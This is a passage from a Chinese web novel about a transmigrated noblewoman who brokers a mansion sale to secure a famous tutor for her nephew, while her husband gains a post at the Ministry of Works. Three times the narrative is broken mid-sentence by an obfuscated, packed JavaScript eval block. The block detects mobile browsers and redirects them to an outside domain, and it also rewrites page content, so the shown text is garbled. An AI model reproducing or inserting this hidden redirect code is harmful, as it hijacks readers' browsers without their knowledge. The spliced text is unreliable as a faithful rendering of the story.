容芝甩开他的手，“哪来的大剧情点……早和你说过，咱们一家在这个世界的结局很好。” 游怜山似不相信，又盯着她看了一阵，“结局好，不代表过程也好。” 容芝用话堵他的嘴，“过程也很好，万事如意！” 游怜山更疑惑，拦在她面前，“如果是万事如意，咱俩刚才还会去正院吗？” 容芝不说话了，她不该忘了游怜山很聪明，不好糊弄。可他像现在这样，无知无畏地去衙门里忙碌，不必烦恼将来，挺好的。 “被害妄想症，可要不得，”容芝推开游怜山，径直进了里屋。 阿桔已铺好床，也把游余哄睡，见容芝回来便准备离开。 容芝叫住她，“你泡壶茶来吧。” “这……时辰不早了，您还喝茶？”阿桔拢着袖子，笑道。 容芝说，“不是我喝，我帮大爷要的。” 被编排好的游怜山哦了一声，对阿桔说，“对，是我要喝。衙门有事没想透，我哪里敢睡？” 屋门被阿桔带上。 容芝先坐在桌边，拍拍桌面，“过来坐。” “给乘哥儿拜老师那事，你怎么想的？”游怜山把椅子往容芝身边挪。 容芝收回了手，抬头看他，“从书中看，刑部尚书袁士诚的弟弟，袁敞，是首选。” “但，那袁敞不可能收游家的孩子，对不？”游怜山顺着分析。 容芝微惊，“你没看小说，怎会知道？” 游怜山笑道，“朝堂上的消息，我不用刻意打听就能天天听说。而且，我还知道，袁敞最近要换宅子。前日大雪，他家院墙塌了，险些伤了袁夫人！” 容芝双手合握，放在桌上，“那你打算送他一套房？先说好了，我没钱！” 游怜山拍拍她的手背，叹气，“你之前几时愁过钱，是为夫没做好啊。” 容芝瞪他一眼，“说正事呢！能不能走心一点？” 游怜山说，“我在讲正事啊。钦天监那地方，我得尽快离开，它事多，晋升空间小，不合适我。你但凡给我换个别的部门，现在也不至于为了一套房发愁！” 也对。 上辈子，游怜山已做到跨国科技公司的副总裁，如今被困在最神秘的钦天监，怎不算是屈才？ 容芝思及此，语气稍软了点，“换部门的事，指望不上司宁侯游仁泰，还要靠你自己。” 游怜山赞同，“二弟游怜泉在大理寺，所以我必须是闲职，这是权衡之策。” 容芝补充，“所谓君臣父子，你爹游仁泰官再大也要听圣上，不是他想怎样就怎样。而且，补缺就得等上面的人致仕。” “说到致仕，你知那工部尚书是怎样的人？好相处吗？”游怜山问道。 容芝托腮想了想书中的此人，眼眸一亮，“工部尚书谢怀予，今年年节前会向内阁请辞！” 游怜山的身子坐正，“小说里写是什么原因？” 容芝说：“没写，那工部在小说里没有存在感。” 游怜山抱臂，目光落在桌上，“行，我明天去衙门里找人打听一下工部的事儿。” 正说着，屋门被人敲响。 游怜山笑了笑，“阿桔，快进来吧！还敲门……” “大爷，”回话的是门房小厮，“刚钦天监来人，说城郊的祭台有一处柱子松动，请您赶紧过去一趟！” 游怜山立刻起身，“好。” 又看了看容芝，“乘哥儿的老师人选，咱还是定袁敞？” 容芝吐口长气，“他恐怕不买你爹游仁泰的账，让我再想想。” 游怜山必须要走了，弯腰抱容芝的肩，“还是那句话，有困难就去衙门找我。” 看他匆匆走出屋门，冷风灌入，容芝打了个寒战，醒了神。 阿桔端着泡好的茶进来，“大爷又走？唉，等年节休沐就能在家多陪陪夫人。” 容芝哼了声，又叹道，“他此生在钦天监，是挺可惜的。” 阿桔弄不懂朝堂之事没说什么，正欲关门，门房小厮又跑上来，递过一封信，说是刚送到的。 信封无字，拆开才知是尔惑先生的回信。内容简单，只有一行字：明日，不足斋见。 不足斋，是容芝替婆母邓氏打理的书局，也是司宁侯府六间院子的唯一添补。可自从容芝上次滑倒，她一直没正经去过书局，也正好借此机会去看看它的经营状况。 次日出门前，容芝让阿桔清点了一百两银票，随身带着。 阿桔笑称，“第一次带这么多银子出门！”她不了解，这点银子连侯府的一间小院都买不下来，根本是太少。 马车等在侯府门前，门房小厮与阿桔作揖，问说，“东家去书局啊？” 阿桔答，“是，夫人好久不去，怕那帮伙计闹幺蛾子！” 话音落下，引得门房一片笑声。 一回头，府门里又走出一对主仆，那小厮忙行礼，“二夫人。” 周氏嗯了声，眼睛却是盯着刚才长房马车离开的方向。 身边丫鬟冷笑，“看她还有闲心去书局，这次比试，她输定了！” 周氏仰着脑袋，朝马车过去，“输了，是她自己不够努力。” 丫鬟跟在后头，“她长房就是一张嘴厉，论真本事，还是二爷、二夫人更厉害！” 与此同时，容芝的马车停在了青砖地上。 不足斋到了，她要抱游余，本想让阿桔牵着游乘，却不想那小儿与她寸步不离，紧抓她的裙角，双眼警惕地看周围。 “也好，袁家离这儿不远，你这会空了就去打探一下，看看袁夫人在做什么。” “是，夫人。” 容芝给阿桔安排了差事，想继续往前走，被人拉住了。 游乘站在书架前，双眼放光，“大伯母，好多书！” “东家来啦！”掌柜老周迎上来，笑眯眯地打量容芝，“您气色好多了，就是丰腴了些。” 容芝笑着摇头，“在家养了这些日子，人都懒散了。” 又看向二楼，低声道，“那位客人到了？” “在雅间候着，”老周朝楼上努努嘴，牵住游乘的手，“小公子要不要尝尝新到的桂花糖？” 游乘仰头看容芝，见她点头才道了谢。 容芝推开雅间，窗边立着个修长身影。 “尔惑先生，”她喊道。 那人转过身，半张银质面具泛着冷光。他的目光先落在容芝怀中的游余脸上，停顿片刻才道：“夫人喜得贵子，我竟忘了准备礼物，下次一定补上！” “无碍，你客气，”容芝坐下。 有小厮模样的人进门，奉上茶点，在容芝耳边低语，“夫人，打听过了，袁夫人今日出门逛了好几家房牙行。” 容芝侧目，“结果？” 小厮继续道，“好像没看上哪家宅子，也可能，她已有看上的。” “她要的是工部尚书谢家的。” 容芝正要出口，竟被桌对面的尔惑先生抢了先，不免笑道，“你……” 尔惑没说话，眼睛看向站在一旁的假扮小厮。 容芝把怀中的游余交给那小厮，“他”立刻躬身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994845|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 退下了。 屋门关合。 容芝拿出准备好的银票，推到尔惑面前。 尔惑把银票推回来，“我为你画扇画，不为钱。” 容芝疑道，“那尊驾是想图什么？” 尔惑拿起一块桃花酥，“图个开心！” 谜一样的人。 容芝回想那看过的小说里，也没有这样戴面具的皇亲贵族。或许在她进入这个世界的那一刻，剧情走向就在潜移默化中改变。 桃花酥咬去一大半，尔惑问道，“你结识袁夫人，也是为侯府的孩子拜师吧？你怕是不知袁先生与你家老侯爷的关系。” 容芝的痛处被揭开，“我当然知道。” 尔惑把剩下的酥饼塞进嘴里，“不过你想从袁夫人着手，也是没错的。若你能帮她解决宅子，事情就容易多了。” 绕回正题，容芝的手搭在桌沿，“袁夫人真看上谢家宅子了？” 一面扇画摆在了她手边，尔惑说，“五进大宅，三年前新盖的，多抢手啊！你要有钱也会想买的。” 容芝仔细瞧着扇上的庭院，规格竟与司宁侯府不相上下。 “谢大人开价三万银，袁夫人只愿意出二万八。” 容芝怀疑自己听错，“只开价三万银？内城的五进大宅啊！” 尔惑点头，“谢尚书急，原本这种情况不能卖，但也有门路可卖。” 容芝握着团扇，往后退开，“你消息这么灵通？难道，那谢家夫人也找你画过扇画？” 尔惑倒也爽快，“正是。” 容芝忽然有点后怕，“那我家……” 尔惑拿起第二块桃花酥，“除非你公爹也要致仕，要卖宅？” 容芝摇头，“当然没有！” 她把扇子放在了桌上，却没松手，“那你能不能告诉我，你背后是哪家房牙？有正规官帖吗？” 尔惑的眼扫过她摊开的掌心，重新拿块桃花酥放上去，“房牙叫‘谷之’，在千家胡同口的茶庄旁边，明天能挂牌。至于官帖，也是有的。” 容芝越听越荒唐。谷之？这不是从她的名字里剔出来的字儿么？ 明天挂牌……她笑道，“官帖，给我看看。” “没带在身上，明天给你看。” “行，那我明日见了官帖再谈其他。” 尔惑正要拿最后一块桃花酥，闻言停了手，“随你，我不急。” 容芝为他拉开屋门，“先生慢走。” 又想起扇画的生意，她追着他下了楼梯，“先生既来了我这书局，可有兴趣在此摆个柜台招揽生意？” 尔惑回头看着她，“扇画赚得太慢了！真要赚钱，你干房牙更适合！” 容芝愣在楼梯上，“明日我要见官帖，否则，免谈。” 尔惑下了楼，出店门离开。 在书局看了整年账目，容芝发现各项进出清晰合理，可她对经商不通，回头找游怜山把把关是更好的。 她将账目副本带走，赶回侯府时，天色已晚，不巧，刚下马车就碰见了也刚回府的周氏。 周氏一脸倦色，强撑着背脊说，“大嫂出门一天竟毫无所获？别以为你手里把持着书局的账本，就能私自挪用公帐！为了乘哥儿，我与二爷都说好了，哪怕倾尽所有，也会赢过大哥大嫂！” 容芝抖了抖手上的账本，“可人情这回事，有时是钱买不来的。” 说着，阿桔抱来游乘游余兄弟俩，把小的放在容芝怀中，“夫人，咱不能再耽搁！俩孩子都要饿死了……” 说着，门房小厮提着灯笼迎来，主仆二人快步进了府门。 周氏气得直跺脚，“得瑟个什么！？” 又对身边丫鬟说，“喜珠那婆娘今天找我要的，是不是二百两？罢了，只要她能帮忙引荐袁夫人，二百两就二百两！” 8. 拜师（1） 次日，容芝用过早膳，察觉游乘有点发热，只好敲开正院，将孩子交给贞嬷嬷照顾。贞嬷嬷瞧着她，问道：“身子还没复原，媳妇又是去哪儿？” 容芝今日还要见尔惑，查看他许诺的房牙官帖。可她什么也不能说，“要去书局。老周掌柜说，年节前要整理库存。” 贞嬷嬷不多问，只让阿桔好生伺候容芝。 回东园，容芝加了件厚披风，出门前她看见枕边的书局账本，想了想，吩咐阿桔找门房送去钦天监。游怜山的心不在玄学上，碍于皇命必须出工，等他得闲看看账本，也好熬熬时间。 在侯府门前又碰见周氏。 那妇人眼高于顶，见了容芝也像没见。 阿桔气不过，故意扯着嗓子说，“早晨乘哥儿一时口误，将夫人喊做了母亲……” 周氏一听便垮脸，几步追来瞪着阿桔，“小丫头胡说什么？” 正要发作，马车到了。 管家上前给容芝请示，“大夫人，马车暂时只空余一架，请您先用。” 容芝拉住阿桔，笑道，“不必，我看弟妹更着急，让她用吧。” 周氏皱紧的细眉还没松开，疑道：“……大嫂真愿意让给我？” 容芝点头，“一家人分什么你我，你急，自然是你先。” 边说，边亲昵地拍拍她的手背。 周氏却没动，想起什么似的，对容芝说：“长房与二房这场比试，虽是母亲定的，可若大嫂觉得胜算不大，现在退出也未尝不可。如今我再无可能有孕，往后，肯定痛改前非，好好爱护栽培乘哥儿。” 容芝微怔，真不知周氏从何看出她胜算不大，便说：”二弟妹何出此言？” 周氏再走近一步，竟挽起容芝的手臂，“大嫂这两日被书局账目困住，想来也没多余心思放在乘哥儿拜师上了。若大嫂真有难处，放弃了，也情有可原。” 容芝笑道，“咱一大家就靠书局的钱买珠、买糖，看顾书局是我的责任。再说，应下比试的是你大哥，我哪能背叛他？二弟妹，我马车也到了，先走一步。” 说完径直上马车。 阿桔紧随其后，又换上昨天穿的小厮男装，还特意在白脸上抹锅灰。 容芝勾她的鼻子，说：“像。” 马车到不足斋时，门前并无其他车马。 容芝左右瞧了瞧，正怀疑尔惑是否爽约了她，却听有人从对面茶铺跑出来。 “见过夫人！”是一位用剑的侍卫。 阿桔一看就认出那剑士，“夫人，他是寒山寺里那位攀高踩低的！” 那剑士也瞅着阿桔，“这位兄台，我们见过？” 阿桔挺起胸膛，学男子模样，“你不认得我，是你自己眼神不好！” 剑士多看她两眼，转了笑，“原来是那位姑娘。” 又掏出一本房牙官帖给容芝，说：“尔惑先生有事不来了，他命在下在书局等夫人。稍后，您和袁家谈妥之后还来书局找在下。” 容芝听明白，不在乎尔惑来与不来了。 她见了官帖心里就有底，事不宜迟，袁家离书局不远，她们得快些过去，“阿桔？” 身后无人回应。 容芝转头，那姑娘站在剑士面前，正打听人家叫什么。 剑士拱手，介绍自己：“在下叫命生，敢问姑娘？” 谁知阿桔呷了声，“你不用打听我！我打听你，是为我家夫人方便。” 容芝只恨玉不成器，看阿桔朝自己过来，冲叫命生的剑士喊道，“小哥，她叫阿桔。” 剑士愣了瞬，行拱手礼，远远送容芝和阿桔进马车。 过一条街便是袁家。 西面院墙果然还坍塌着，几个懒散的工匠聚在一起闲话，见有陌生马车靠近才散开干活。 门房说，夫人刚去了喜珠。 “喜珠？”阿桔肯定没想到，“原来上京最大的珠宝铺，是袁家的。” 容芝从书中了解得更多，却不能提，“我听大爷说过，其实，喜珠是袁敞新纳妾室的妾资。” 阿桔却更疑惑，“听说这位袁敞先生极善治学，清明廉洁，竟也晚节不保，败在财、色上？” 容芝纠正她，“袁敞四十有余，正妻无子，依律可以纳妾。而那喜珠的婆姨，大抵是被人硬塞上门的……娶妻娶贤，纳妾纳色嘛。” 马车前往喜珠。 阿桔不熟悉男子发髻的绑法，这会已经散了，只好重新绑，“照这么想，这个妾室，不得袁敞先生喜欢，也不得袁夫人喜欢。” 容芝接过她的发带，绑紧些，“谁知道。” 阿桔抬头，“夫人不妨设想，若咱大爷纳了珠宝铺的婆姨为妾，您如何想法？” “我没想法，”容芝对这话题不感冒，当初她与他离婚时，难道没想过他会另娶别人？ 说笑间，位于正街的喜珠已隐约可见。 那铺子的后间里，游家二房媳妇周氏，与东家玥娘正在密谈。 放在桌上的是五十两银票，这是周氏的先手，她感谢上回玥娘帮做的送婆母的两件首饰，“说好的定金，拖了这许久。” 玥娘推辞，“您是店里贵客，我不能收您的钱。” 周氏不依，又推给她，“既然是朋友，钱你拿着。我还有事求你呢！” 玥娘笑了笑，把银票收下，却摇头说，“引荐袁夫人，倒不是难事，可……” 见她面露难色，周氏看懂，赶紧让丫鬟再添一张一百两的银票。 玥娘这下眉开眼笑，许诺道，“明天，寒山寺。袁夫人会去，您也去，这不就撞上了？之后的事，也不需要我教二夫人了吧。” “不用！”周氏拍拍玥娘的胳臂，甚是满意，把剩下的五十两银票也拍在玥娘手里，“我就喜欢你这爽快人。” 却没想，此时店门外走进一位贵妇人，嘴里大骂“吃里扒外的玩意儿！” 玥娘脸色大变，起身往后退。 周氏不明就里，慢慢站起来，看向面前的妇人，“您是？” 妇人却不理她，一把推开她，捞起桌上的三张银票，继续指着玥娘骂：“为了这点钱，你就卖了我！” 真相大白。 周氏立时慌了神，正要给袁夫人问好，被一旁的玥娘拉住了手。 一个踉跄，周氏被推到凶神恶煞的袁夫人鼻子跟前。 玥娘说，“夫人，这位是侯爷府的嫡媳，她没坏心思，只是想带孩子拜老爷为师。” 袁夫人仍在气头上，“我管她是谁？我只问你，怎么记吃不记打！上回，我打你二十板子不疼，对吧？” 玥娘吓着躲到周氏身后，“夫人，今日有外客在，您如此对妾身，不怕有损老爷的形象？” 袁夫人这才看向周氏，瞧她面色白里透黄，“娘子身子不好？” 周氏尴尬得笑，“还没出月子……媳妇今日来找玥娘，亦是无奈之举，没成想三生有幸，能见到袁夫人。” 袁夫人默了会，抖抖手里的银票，“你的三生有幸，只值二百两？” 周氏眼眸一亮，“那不知，夫人以为多少合适？” 袁夫人在椅上坐下，搓着银票边角，“玥娘什么人，我什么人。你给她二百两，到我这儿，少不得一千两？” 周氏感到地塌了，她根本拿不出这么多钱。 袁夫人又问：“拿不出？” 周氏咬牙，“能拿出。” 袁夫人送客，“那去筹钱。”说完，先走出了喜珠。 店门外的马车上，容芝看了会就让马夫直接回袁府。 两旁街景倒退，阿桔的发髻又散了，忙问：“怎么不等等袁夫人？” 容芝靠着车壁，不答反问她，“你觉得，今日袁夫人为什么去喜珠？” 阿桔想了想，“散心吧，毕竟店里那么多金银珠宝，光看就赏心悦目，但是，玥娘和周氏……让她心堵了。” 容芝掀开布帘，往后看了看，袁夫人的马车已启动就跟在后头。 她吩咐马夫再快些，务必赶在袁夫人回袁府之前到。 “不出意外的话，袁先生此时定在府上授学，若此时袁夫人见到袁先生，必定大吵一架，”容芝说。 这下阿桔懂了，“咱拦下袁夫人，是替袁先生挡过一劫。” 容芝补充，“袁家那么多学子呢！这对袁夫人，何尝不是挡过一劫？冲动是魔鬼。” 阿桔绑好了发髻，“在夫妻之道上，夫人好有心得。” 对此，容芝无话可说，若非上辈子在游怜山身上吃了大苦，她也不会明白这些大道理。 回到袁府门前，稍等片刻，袁夫人的马车停了下来。 容芝远远上前，还没走近，便被袁夫人认作“拜师之徒”。 “夫人带了多少钱？”袁夫人斜觑她。 容芝不急不恼，递上准备好的房牙腰牌，“妾身是房牙，此来，是受前工部尚书谢大人之托，与夫人谈买卖宅子的生意。” 腰牌给袁夫人递回来，她紧绷的脸色终是松快了，指着容芝的马车说，“进去详说？” 容芝应了好，请袁夫人走前。 书局门前那叫命生的剑士给的买房契约，容芝看过了。 她不知尔惑怎么协商，反正那谢家已同意降价到二万九，中间减去一千两，也降低了生意谈成的难度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994846|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 阿桔凑在容芝耳边，“夫人，我看她不是肯让价的主儿。” “能不能谈成，就看咱们要什么，”容芝已想好，现下这袁夫人死守一千两的差价，僵持不下，饶是由她自己补了这一千两，也不是不行。 她经手的第一间宅子，赚不赚钱不重要，重要的是，让袁夫人满意。 考虑清楚，她便爽快地亮出了牌，“谢家现在不要三万，只要二万九，再则，谢夫人答应多留一套前朝茶具。” 阿桔听了不由咂舌，掐了把容芝，挤眉弄眼。 可袁夫人却还不同意，“我只有二万八。” 正聊着，门房小厮敲了敲马车门，送来一壶清香热茶，一碟热乎着的桃花酥。 袁夫人看着那桃花酥，怔了瞬问小厮，“这个时辰，老爷还在授学？” 小厮回道：“快结束了，还剩都察院左御史刘家的，刘与之小公子。” 袁夫人讷讷地看天色，“这么晚了？” 忽然明白过来，她拿起一块桃花酥，对容芝道：“你故意拖住我的？” 容芝颔首，“妾身不敢，不过是与夫人正常谈生意。” 袁夫人冷笑，把一口桃花酥咽下去，“早就听说这酥，今天托夫人的福，终于尝到滋味。” 容芝端起茶壶，亲自给袁夫人倒茶，“不知合不合夫人口味？” 袁夫人的唇边浮起笑，“还不错。” 又扯了扯嘴角，苦笑，叹气，“幸好今日有你分散我心力，不然……” 未尽之言，容芝和阿桔却听明白，主仆二人悄悄交换眼神，暗自松了口气。 今日这一单，大约要成了！ “只是，你那二万九的价格，能不能再降点？”袁夫人说道。 容芝摸摸鼻子，拿出最后的退让态度，“二万八千八，夫人以为如何？” 阿桔坐在暗处，睁大眼睛看着容芝，难道真要自己赔二百两，可也不敢说话。 “行！谢家这宅子我要了，带买卖契约了么？” 话音一落，阿桔忙双手送上契约、印泥，以及房牙印章。 袁夫人在那契约上盖了私印，交给阿桔，不免多看了一眼，“你俩这打扮，是上京哪家高门的媳妇？” 容芝坦率说：“夫人好眼力，妾身是大理寺卿游家的。” 袁夫人捏着私章的手一顿，半天回过神，摇头笑道：“好！这进门的机会，我给了你，却不知你家孩子能不能……” 容芝敬道：“好坏，能让袁敞先生见见我家孩子。至于孩子能否得袁先生青眼，是他自己的本事问题！” 阿桔送袁夫人下了马车。 听见门房小厮对袁夫人说：“夫人，刘家小公子刚走！” 袁夫人说：“知道了，让厨房准备晚膳吧，我饿了。” 事情一切顺利，容芝带着签好的契约回了书局。 命生在门前等她，让她稍等，他拿着契约离开一炷香，再回来，居然已盖好了官印。 怕官印有假，书局掌柜老周帮着检查了一番，验证官印为真。 阿桔彻底放心，只可惜道：“为这桩生意，夫人还赔了二百两银。” “差点忘了这事，”命生拿出二百两银票，给阿桔。 阿桔不敢置信，“你、你家尔惑先生，不缺钱，与官府有来往，还熟悉上京高门的家宅？到底何方神圣？” 命生挠着脑袋笑，“尔惑先生有交代，若再打听，以后就不找你家夫人合作了。” 容芝拉住阿桔，“生意合规合法，即可。” 当晚，侯府大爷游怜山回了家。 他官靴上沾着黄泥，进屋就坐桌边，眼神呆滞，也不说话。 容芝几时见过累成这样的游怜山，她让阿桔直接准备热水，估计游怜山现在吃不下饭，只想好好睡一觉。 “乘哥儿还在贞嬷嬷那儿，我去接来，”阿桔急慌慌地跑出院子。 游怜山这才抬起头，问容芝，“你不在家休息，又出门了？” 容芝报告好消息，说，“袁夫人的宅子，我帮她解决了。” 游怜山转过来，半个身子撑在桌上，“夫人厉害！可，你是以哪家房牙行的名义去谈的？” “谷之房牙。放心，他们有正经官帖，那买房契上的官印也是真的。” 游怜山还不放心，“谷之？老板是男的女的？” 容芝看着他，“重要吗？” 游怜山顿了顿，“不重要吗？” 正说着，管家郑叔在门口咳了一声，是来送信的。 “袁敞先生家刚才来下贴，请大夫人明日带乘哥儿去袁府一见。” 9. 拜师（2） 容芝病倒了。 风寒症状的显现是逐渐的，昨日游乘发了热，今日就轮到了容芝。 其实白日她在外忙正事，已感头疼鼻塞，却无力顾及，此刻回家她只觉头愈晕，站不稳。忽而双眼一黑，她直接倒下去。 再醒来，有人握着她的手。 烛火昏暗，她盯着那人袖口沾的黄泥，始终有点不相信，在她昏睡不清的时候，是游怜山陪在她身边照顾。 上辈子记忆回溯，那是与游怜山结婚第二年，她不小心小产住院，游怜山以工作为名，直到三天后才赶来医院。也从那时起，她看清了游怜山的薄情寡义，在他心里，任何东西都不能阻止他的事业发展！ 可那么一个事业至上的工作狂，昨夜，在她身边守了一夜…… 容芝身上发冷，一下把自己的手抽了回来。 自然，游怜山醒了。他睁开了眼，坐直，用布满血丝的眼睛望着她。 “退热了吗？”他又伸手过来。 容芝转过身，躲开他，“差不多了。” 游怜山的手僵在半空，慢慢收回去，笑道，“好了就好。” 他站起身，有什么东西掉在被子上，容芝定睛，那是她昨日送去钦天监的账本，似乎被写满了字。 她拿过来，细看，原来游怜山不仅看完了账本，还在上面做了详细的批注。游怜山认为：目前书局不死不活的关键原因在于，类目繁多、冗余。除开畅销诗词古籍，店里也售卖许多小众偏门，所以，资金被严重拖累，把优势埋没了。 “什么都想要，当然，什么都做不好。” 游怜山重新坐下，手上多了一碗药，与容芝交换了账本。 在经商上，他比容芝强太多。要想把那书局盘活，容芝是愿意听一听游怜山的建议的。她端起药碗，一口喝干，又吃了游怜山递的蜜饯，问道：“具体该怎么做？” 游怜山略作思考，说道：“要想在上京众多书局中脱颖而出，做大是一方面，另一方面是开发自我特色，成为无可替代的。” 容芝听了个寂寞，耐心不多了，“具体呢？” “咱们专攻稀有书吧。比如，穷究事物之理的‘格致’、实用技术的‘器用’类目……” 容芝依然听不懂，她也好奇，游怜山如何在短短数月学会了这些文绉绉的腔调。 正愣住，她听游怜山继续说，“再则，考虑咱家俩孩子将来要科举，可增加科举策论范文选集，尤其是上京第一业师袁敞先生的著作。” “行吧，你得空去书局，与老周掌柜部署一下。我是外行，就不掺和了，”容芝有自知之明。 游怜山应了好，拿起帕巾，似乎准备帮她擦嘴角。 她先一步截住，“我自己来。” 阿桔敲门进来，问游怜山在哪儿用早膳。 他说就在屋里，又想起什么坐回床沿，低声对容芝说，“对了，工部尚书谢怀予致仕，我打听到原因了！” 容芝“嗯”了声，指了指那碟蜜饯。 游怜山拿过来，说道，“这事，牵涉到十年前的一桩宫殿修缮。前日下雪，那处宫殿也塌了……砸死了十几个宫人，和工部营缮司的主事。刑部出面，向户部审批了一百两银，作为工部主事家属的抚恤金，就此结案。毕竟，过了十年嘛。但，这案子被报到大理寺，我二弟游怜泉大笔一挥，一把叉给它驳回了！” “宫殿塌，不是意外？”容芝问。 “应该不是。听说，二弟带人现场查验，发现原本该用楠木的主梁，居然成了南洋硬木，中间差价三倍。而这事的另一层意义是政统上的。楠木，代表皇家礼制，是威仪的象征。” 容芝听出严重性，“那是不是还牵扯到礼部？” 游怜山点头，“但，礼部尚书未受牵连！在二弟的上奏本里，针对的只有工部尚书谢怀予一人。那礼部尚书，还在大殿上为谢怀予求情了。再后来，工部尚书谢怀予就向内阁致仕。” 容芝吐了口气，“你这二弟，还是朝堂清流呢！” 游怜山啧了声，“未必！你觉得，二弟敢去大殿递本子，难道不是我爹游仁泰的主意？” 容芝改口，“行，那就是你爹清流。” 不料，游怜山的嗤声更大，“他清流？怎么又放过了直接关系人，礼部尚书李经章？” 容芝托着腮，回忆她看的小说中的相关剧情。 终于，她想起来，“那礼部尚书李经章，是内阁首辅，他与游仁泰的关系可不浅，还把长女李襄嫁给你三弟了！” 游怜山面色一沉，“三弟妹李襄，是首辅李经章的嫡长女？” 容芝肯定没记错，当时她看到这一段的时候，也很疑惑，那李襄身份高贵，却沦为了联姻的棋子。也不知，背地里李经章亏欠了游仁泰什么，才愿意牺牲掉嫡长女李襄。 “小芝，你再好好想想？那李襄，今后有什么奇怪举动吗？”游怜山的嗅觉很灵敏。 容芝却没想起来，“没了吧？那书里面，咱们游家的戏份不多，更何况是三房媳妇李氏。” 游怜山的眉头仍旧没松，“这里面恐有遗漏，留个心眼，总不错。” 容芝看他一本正经，忽然笑道，“怎么？你被害妄想症又发作了？” 游怜山用蜜饯堵她的嘴，“我还有个好消息没讲！那工部尚书谢怀予走了，营缮司又死了个主事，我……被调到了工部营缮司。” 容芝反应了一会，“哦，以后你是工部营缮司主事了。” “不不，比主事再高一点，工部营缮司员外郎，从五品。” 那营缮司，主管宫殿、陵寝、官署、城墙的修建与维护，能直接参与皇家工程，易获皇帝或内阁关注。其工程款动辄数十万两，即便本人不贪腐，常规“漂没”（合理损耗）也可积累人脉、资金。此外，相比兵部、吏部，这工部党争较少，在各种政变事件中，工部官员鲜少被牵连。 而游怜山，他在管账、人际交往上，皆是好手，性子里兼具务实和精明，由他填补这个空缺，简直堪称“如鱼得水”。 “那么，我恭喜游大人！”容芝低眉敛目，专心品味嘴里的蜜饯。 她的手却被游怜山握住，他看着她，双眸晶亮，“小芝，相信我。不出五年，我必爬到工部尚书之位，给你和孩子们更好的生活！” 容芝与他对视，忽而有点出神。 对游怜山的个人能力，她从不怀疑，可她已与他离婚，现在住一起，仅仅迫于剧情压力。他们不该有感情牵绊，保持距离才是理智选择。 于是容芝再次收回自己的手，冷道，“你努力是你的事，与我无关。” 早膳是清淡的粥与小菜。 游怜山吃得不多，也不急着去衙门，说下午去工部点卯，还有时间陪陪孩子与她。 容芝却等不起，她收了上京第一科举业师袁敞的请帖，今日要送游乘去见袁敞先生。能不能拜师到袁家，就在今日一举。 “阿桔，乘哥儿呢？”容芝看向门口的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994847|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丫鬟。 “昨日您病倒，怕过病气给乘哥儿，三夫人把乘哥儿抱去照看了。” 游怜山微惊，“你是说李襄？” 阿桔点点头，“是三夫人。” 昨日尚没捋清局势，现下容芝和游怜山都不敢小看这内阁首辅的嫡长女李襄了。 “大哥、大嫂，我把乘哥儿送来了，没耽误时辰吧？” 正说着李氏抱游乘进了院子，眨眼已到容芝的床边。 游乘全身扭动，下地就扑到容芝怀中，紧紧捧住她的脸，“大伯母还难受吗？” 小孩哥这么贴心，容芝忍不住笑，“见了乘哥儿，我的病全好了。” 游乘的嘴角扯动，竟是要哭。 幸好游怜山将他抱起，哄着说，“唉你这孩子哪都好，就是太爱哭！” 游乘趴在游怜山肩头，自我说服，“我才没哭。” 容芝准备起床，阿桔关屋门的时候，问李氏，“三夫人，乘哥儿吃早饭了？” “吃了，一大碗粥，吃得饱饱的，”李氏笑道。 阿桔领几人到屋外，闻言拍拍游乘的脑袋，“吃饱才能好好表现啊！” 不一会，容芝穿戴齐整走出屋。 游怜山看了一阵，用胳膊攘了攘游乘，小孩哥忙念道，“秋水为神玉为骨，芙蓉如面柳如眉。” 小孩能懂什么，容芝看向游怜山。 他问，“我陪你们去袁府？” 还不等容芝回答，阿桔急道，“万万不可！大爷要去，定被袁家的门杠子拍死在门前！” 容芝说，“阿桔的话在理，你别去。” 但她体力不支，无法抱游乘，找谁陪同成了问题。 “大夫人！”有人上前拱手。 容芝瞧着他面生，听游怜山介绍他道，“这是虞次，会些刀法，我不在身边，他可为夫人护卫。” 噗呲，阿桔捂嘴笑，“鱼刺？还‘桃花’呢！” 虞次颔首不起，耳根红透。 这人受游怜山调遣，容芝是信得过的，便说，“行，你抱着乘哥儿，该出发去袁府了。” 约的时辰在日落后，马车停在袁府门前。 余晖透过布帘映入车内，映在游乘稚气又老成的眉眼上。 “唔——”突然游乘捂住肚子，面色扭曲。 容芝忙扶起他的肩，“哥儿，你肚子疼？” 照顾人上，阿桔有经验，“早晨三夫人给吃的什么？” 游乘脸比纸还白，可他哪儿懂，想了半天才说，“三伯母做的粥，加了香甜的花瓣。” 容芝想到答案，“是清凉性寒的桃花瓣。” 